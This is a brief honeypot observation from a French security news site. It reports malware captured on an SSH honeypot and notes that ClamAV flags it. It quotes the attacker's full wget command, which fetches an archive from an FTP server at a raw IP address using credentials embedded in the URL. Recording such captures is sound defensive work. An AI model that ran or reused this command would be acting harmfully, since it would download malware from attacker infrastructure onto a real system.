Malware capture from SSH honeypot (wget ftp://test:0744402871@121.165.91.211/lin.tgz). Note creds in conn string. ClamAV tags it as malware. SecuObs - L'observatoire de la sécurite internet - Site d'informations professionnelles francophone sur la sécurité informatique